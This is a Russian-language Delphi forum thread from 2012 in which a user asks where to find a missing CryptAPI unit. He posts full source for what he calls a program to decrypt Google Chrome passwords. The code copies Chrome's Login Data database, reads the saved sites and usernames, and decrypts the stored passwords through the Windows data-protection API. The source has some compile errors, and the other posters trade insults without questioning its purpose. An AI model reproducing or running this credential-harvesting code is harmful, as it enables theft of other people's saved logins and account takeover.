Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 07.11.2012, 14:03
vladislav147 vladislav147 вне форума
Прохожий
 
Регистрация: 12.08.2012
Сообщения: 28
Репутация: 9
Вопрос НАРОД, ГДЕ CryptAPI.dcu ?

Вот я искал ВЕЗДЕ CryptAPI.dcu так как он в Uses! Мне он реально нужен !!! Но .dcu нигде нет ! ... реально только всякие "Чудо проэкты с ним !"...

Имнно не CrypoAPI.dcu а CryptAPI.dcu !

ПОЖАЛУЙСТА ПОМОГИТЕ !!!

P.S. Спасибо !!!!!
Ответить с цитированием
  #2  
Старый 07.11.2012, 23:18
robt robt вне форума
Активный
 
Регистрация: 17.02.2011
Сообщения: 297
Репутация: -1806
По умолчанию

вас дебилов, где то специально учат после каждого слова восклицательный знак ставить?
Ответить с цитированием
Этот пользователь сказал Спасибо robt за это полезное сообщение:
vladislav147 (08.11.2012)
  #3  
Старый 08.11.2012, 08:53
Аватар для M.A.D.M.A.N.
M.A.D.M.A.N. M.A.D.M.A.N. вне форума
Sir Richard Abramson
 
Регистрация: 05.04.2008
Сообщения: 5,505
Версия Delphi: XE10
Репутация: выкл
По умолчанию

Выложи исходник, может банальная опечатка.
__________________
— Как тебя понимать?
— Понимать меня не обязательно. Обязательно меня любить и кормить вовремя.


На Delphi, увы, больше не программирую.
Рекомендуемая литература по программированию
Ответить с цитированием
Этот пользователь сказал Спасибо M.A.D.M.A.N. за это полезное сообщение:
vladislav147 (08.11.2012)
  #4  
Старый 08.11.2012, 17:12
Аватар для PhoeniX
PhoeniX PhoeniX вне форума
Always hardcore!
 
Регистрация: 04.03.2009
Адрес: СПб
Сообщения: 3,239
Версия Delphi: GCC/FPC/FASM
Репутация: 62149
По умолчанию

robt, 3.1. Пусть я с тобой и согласен, но правила стоит всё таки соблюдать.
__________________
Оставайтесь хорошими людьми...
VK id2634397, ds [at] phoenix [dot] dj
Ответить с цитированием
Этот пользователь сказал Спасибо PhoeniX за это полезное сообщение:
vladislav147 (08.11.2012)
  #5  
Старый 08.11.2012, 17:29
vladislav147 vladislav147 вне форума
Прохожий
 
Регистрация: 12.08.2012
Сообщения: 28
Репутация: 9
По умолчанию

Цитата:
Сообщение от M.A.D.M.A.N.
Выложи исходник, может банальная опечатка.

Код:
unit Unit1;

interface

uses
Windows, Classes, SysUtils, Registry, SQLiteTable3, CryptAPI, SQLite3DLL,
     BTMemoryModule, ActiveX, shlObj, StrUtils;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
   Function GetChromePasswords:TStringList;
   Function GetShellFolder(CSIDL:integer):String;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

interface
 
function GetShellFolder(CSIDL: integer): string;
var
  pidl                   : PItemIdList;
  FolderPath             : string;
  SystemFolder           : Integer;
  Malloc                 : IMalloc;
begin
  Malloc := nil;
  FolderPath := '';
  SHGetMalloc(Malloc);
  if Malloc = nil then
  begin
    Result := FolderPath;
    Exit;
  end;
  try
    SystemFolder := CSIDL;
    if SUCCEEDED(SHGetSpecialFolderLocation(0, SystemFolder, pidl)) then
    begin
      SetLength(FolderPath, max_path);
      if SHGetPathFromIDList(pidl, PChar(FolderPath)) then
      begin
        SetLength(FolderPath, length(PChar(FolderPath)));
      end;
    end;
    Result := FolderPath;
  finally
    Malloc.Free(pidl);
  end;
end;
 
Function CreateCopyName(FileName:string):String;
begin
Result:=FileName+' - Copy';
end;
 
//Chrome Komplett
//Chrome Hilfsfunktion
Function UncryptChromePW(MS:TMemoryStream):string;
var DBin, DBOut:Data_Blob;
    s:string;
    HArr:Array of Byte;
    i:integer;
    sHex:string;
    P:PByte;
begin
//cbData member holds the length of the pbData member's byte string
//  that contains the text to be encrypted.
 
MS.Position:=0;
DBOut.cbData := 0;
DBOut.pbData := nil;
DBIn.cbData := MS.Size;
GetMem(DBIn.pbData, DBIn.cbData);
DBIn.pbData:=MS.Memory;
if CryptUnprotectData(@DBIn,
                    nil,
                    nil,
                    nil,
                    nil,
                    0,
                    @DBOut) then
begin
  P:=DBOut.pbData;
  SetLength(HArr,0);
  SetLength(HArr,DBOut.cbData);
  for i:=0 to DBOut.cbData-1 do begin
    HArr[i]:=P^;
    inc(P);
  end;
  s:='';
for i:=0 To High(HArr) do begin
  sHex:=IntToHex(HArr[i],1);
  s:=s+chr(HArr[i]);
end;
result := s;
end
else begin
 
end;
DBOut.pbData:=NIL;
LocalFree(Cardinal(DBOut.pbData));
 
end;
 
//Chrome-Main-Funktion
Function GetChromeLoginData(LoginPath:string):TStringList;
var MS:TMemoryStream;
    SQLiteDataBase:TSQLiteDatabase;
    SQLiteTable:TSQLiteTable;
    i:integer;
begin
Result:=TStringList.Create;
try
SQLiteDatabase := TSQLiteDatabase.Create(LoginPath);
SQLIteTable := SQLiteDatabase.GetTable('SELECT * From logins');
if SQLIteTable.Count > 0 then begin
 for i := 0 to SQLiteTable.Count -1 do begin
    Result.Add(SQLIteTable.FieldAsString(SQLIteTable.FieldIndex['origin_url']));
    Result.Add(SQLIteTable.FieldAsString(SQLIteTable.FieldIndex['username_value']));
    MS := SQLIteTable.FieldAsBlob(SQLIteTable.FieldIndex['password_value']);
    //showmessage(inttostr(ms.Size));
    Result.Add(UncryptChromePw(MS));
    SQLIteTable.Next;
  end;
end else Result.Add('Keine Passw?rter gespeichert!');
SQLIteTable.Free;
SQLiteDatabase.Free;
except on e:exception do Result.Add('Chrome-Failed'); end;
end;
 
Function GetChromePasswords:TStringList;
var path:string;
    i:integer;
    SL:TStringList;
begin
Result:=TStringList.Create;
try
path:=GetShellFolder(28); //User/Appdata/Local
path:=path+'\Google\Chrome\User Data\Default\Login Data';
if FileExists(path) then begin
  CopyFile(PChar(path),PChar(CreateCopyName(path)),false);
  path:=CreateCopyName(path);
  SL:=TStringList.Create;
  SL.AddStrings(GetChromeLoginData(path));
  for i:=0 to SL.Count-1 do begin
    Result.Add(SL[i]);
  end;
  DeleteFile(path);
end else
  Result.Add('Chrome-File not Found!');
except on e:exception do Result.Add('Chrome failed!'); end;
end;

end.

Компилирую прогу для расшифровки пароля от Google Chrome ...

Robt - НАХЕР ПОШЁЛ !
Ответить с цитированием
  #6  
Старый 08.11.2012, 17:40
robt robt вне форума
Активный
 
Регистрация: 17.02.2011
Сообщения: 297
Репутация: -1806
По умолчанию

Цитата:
Сообщение от PhoeniX
но правила стоит всё таки соблюдать.
не забудь об этом для начала напомнить ТС
Ответить с цитированием
  #7  
Старый 08.11.2012, 22:10
Аватар для angvelem
angvelem angvelem вне форума
.
 
Регистрация: 18.05.2011
Адрес: Омск
Сообщения: 3,970
Версия Delphi: 3,5,7,10,12,XE2
Репутация: выкл
По умолчанию

С учётом использования модуля BTMemoryModule, можно предположить о самописности CryptAPI. И только автор исходника знает, что в нём используется.
__________________
Je venus de nulle part
55.026263 с.ш., 73.397636 в.д.
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 12:08.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025